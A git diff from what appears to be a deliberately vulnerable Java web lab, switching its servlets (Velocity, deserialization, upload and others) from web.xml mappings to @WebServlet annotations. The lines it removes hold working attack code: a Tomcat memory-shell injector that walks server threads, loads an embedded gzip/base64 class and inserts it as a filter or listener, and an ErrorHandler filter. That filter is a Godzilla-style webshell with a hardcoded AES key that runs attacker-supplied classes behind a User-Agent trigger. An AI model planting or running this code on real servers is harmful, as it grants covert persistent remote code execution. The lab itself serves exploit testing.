Handle exception - } - return contexts; - - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - filter = classLoader.loadClass(this.getClassName()); - } catch (Exception var9) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - - return filter; - } - - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - String filterClassName = this.getClassName(); - - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - return; - } - } catch (Exception var10) { - } - - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception var9) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - constructors[0].setAccessible(true); - - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } - } catch (Exception var12) { - } - - } - @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - List context = getContext(); - System.out.println(context.size()); + } @Override @@ -268,23 +22,4 @@ public class TestServlet extends HttpServlet { } - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/vul/vul-webapp-expression/src/main/java/UploadServlet.java b/vul/vul-webapp-expression/src/main/java/UploadServlet.java index cc5e0d98..14316754 100644 --- a/vul/vul-webapp-expression/src/main/java/UploadServlet.java +++ b/vul/vul-webapp-expression/src/main/java/UploadServlet.java @@ -3,6 +3,7 @@ import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -14,6 +15,7 @@ import java.util.List; * @author ReaJason * @since 2024/11/26 */ +@WebServlet("/upload") public class UploadServlet extends HttpServlet { private static final String TEMP_DIRECTORY = "/tmp"; diff --git a/vul/vul-webapp-expression/src/main/java/VelocityServlet.java b/vul/vul-webapp-expression/src/main/java/VelocityServlet.java index 8ae73c34..24c03c6d 100644 --- a/vul/vul-webapp-expression/src/main/java/VelocityServlet.java +++ b/vul/vul-webapp-expression/src/main/java/VelocityServlet.java @@ -2,6 +2,7 @@ import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -12,6 +13,7 @@ import java.io.StringWriter; * @author ReaJason * @since 2024/12/14 */ +@WebServlet("/velocity") public class VelocityServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml index 08ce000c..11e8e6cf 100644 --- a/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml @@ -1,189 +1,9 @@ - - + index.html - - - test - TestServlet - - - test - /test - - - - - upload - UploadServlet - - - upload - /upload - - - - - js - ScriptEngineServlet - - - js - /js - - - - - java-deserialize - JavaReadObjServlet - - - java-deserialize - /java_deserialize - - - - el - ELServlet - - - el - /el - - - - SpEL - SpELServlet - - - SpEL - /spel - - - - ognl - OgnlServlet - - - ognl - /ognl - - - - mvel - MVELServlet - - - mvel - /mvel - - - - groovy - GroovyServlet - - - groovy - /groovy - - - - jexl2 - JEXL2Servlet - - - jexl2 - /jexl2 - - - - jexl3 - JEXL3Servlet - - - jexl3 - /jexl3 - - - - jxpath - JXPathServlet - - - jxpath - /jxpath - - - - aviator - AviatorServlet - - - aviator - /aviator - - - - bsh - BeanShellServlet - - - bsh - /bsh - - - - rhino - RhinoServlet - - - rhino - /rhino - - - - jinjava - JinJavaServlet - - - jinjava - /jinjava - - - - velocity - VelocityServlet - - - velocity - /velocity - - - - freemarker - FreemarkerServlet - - - freemarker - /freemarker - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java deleted file mode 100644 index 5eeea975..00000000 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java +++ /dev/null @@ -1,147 +0,0 @@ -package jakarta; - -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.servlet.http.HttpSession; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.Method; - -public class ErrorHandler extends ClassLoader implements Filter { - public static boolean isBypassModule; - - static { - byPassJdkModule(); - } - - public String key = "7b74f5d44e20fd71"; - public String pass = "passFilter"; - public String md5 = "6DA9A394180B0155C7CC6714A0B2179E"; - public String headerName = "User-Agent"; - public String headerValue = "test"; - - public ErrorHandler() { - } - - public ErrorHandler(ClassLoader var1) { - super(var1); - } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static Object byPassJdkModule() { - Boolean var0 = false; - - try { - Class var1 = Class.forName("sun.misc.Unsafe"); - Field var2 = var1.getDeclaredField("theUnsafe"); - var2.setAccessible(true); - Object var3 = var2.get((Object) null); - Method var4 = Class.class.getMethod("getModule"); - Object var5 = var4.invoke(Object.class, (Object[]) null); - Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class); - Field var7 = Class.class.getDeclaredField("module"); - Long var8 = (Long) var6.invoke(var3, var7); - Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class); - var9.invoke(var3, ErrorHandler.class, var8, var5); - var0 = true; - } catch (Exception var10) { - } - - return var0; - } - - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var41) { - return null; - } - } - - @Override - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - - try { - if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(this.pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (IllegalAccessException | InstantiationException e) { - throw new RuntimeException(e); - } - - f.equals(arrOut); - f.equals(request); - response.getWriter().write(this.md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(this.md5.substring(16)); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception var12) { - chain.doFilter(servletRequest, servletResponse); - } - - } -} diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java index 6bd03f83..1c0963f7 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java @@ -1,6 +1,7 @@ package jakarta; import jakarta.servlet.ServletException; +import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; @@ -13,6 +14,7 @@ import java.io.ObjectInputStream; * @author ReaJason * @since 2024/12/10 */ +@WebServlet("/java_deserialize") public class JavaReadObjServlet extends HttpServlet { byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java index 68ccefef..163c4169 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java @@ -1,6 +1,7 @@ package jakarta; import jakarta.servlet.ServletException; +import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; @@ -19,189 +20,8 @@ import java.util.zip.GZIPInputStream; * @author ReaJason * @since 2024/12/7 */ +@WebServlet("/test") public class TestServlet extends HttpServlet { - - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception var3) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException var3) { - } - } - - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static byte[] decodeBase64(String base64Str) throws Exception { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception var4) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - - return out.toByteArray(); - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return "org.apache.logging.plrkK.ErrorHandler"; - } - - public String getBase64String() throws IOException { - return "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"; - } - - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); - - try { - for(Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map)getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - - for(Object key : childrenMap.keySet()) { - Map children = (Map)getFV(childrenMap.get(key), "children"); - - for(Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null) { - contexts.add(context); - } - } - } - } - } - } catch (Exception var14) { - } - - return contexts; - } - - private Object getListener(Object context) throws Exception { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - listener = classLoader.loadClass(this.getClassName()).newInstance(); - } catch (Exception var9) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - defineClass.setAccessible(true); - Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Exception var8) { - } - } - - return listener; - } - - public void addListener(Object context, Object listener) throws Exception { - try { - List eventListeners = (List)getFV(context, "contextListeners"); - boolean isExist = false; - for(EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - isExist = true; - break; - } - } - - if (!isExist) { - eventListeners.add((EventListener)listener); - } - } catch (Exception var7) { - } - - } - @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { } @@ -210,24 +30,4 @@ public class TestServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { } - - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java index 8c2e2844..5be01470 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java @@ -2,6 +2,7 @@ package jakarta; import jakarta.servlet.ServletException; import jakarta.servlet.annotation.MultipartConfig; +import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; @@ -22,6 +23,7 @@ import java.nio.file.Files; maxFileSize = 1024 * 1024 * 5, maxRequestSize = 1024 * 1024 * 5 * 5 ) +@WebServlet("/upload") public class UploadServlet extends HttpServlet { private static final String UPLOAD_DIRECTORY = "/"; diff --git a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index d547d9a9..450d47ff 100644 --- a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -9,44 +9,4 @@ index.html - - - test - jakarta.TestServlet - - - test - /test - - - - - upload - jakarta.UploadServlet - - - upload - /upload - - - - - java-deserialize - jakarta.JavaReadObjServlet - - - java-deserialize - /java_deserialize - - - - - - - - - - - - \ No newline at end of file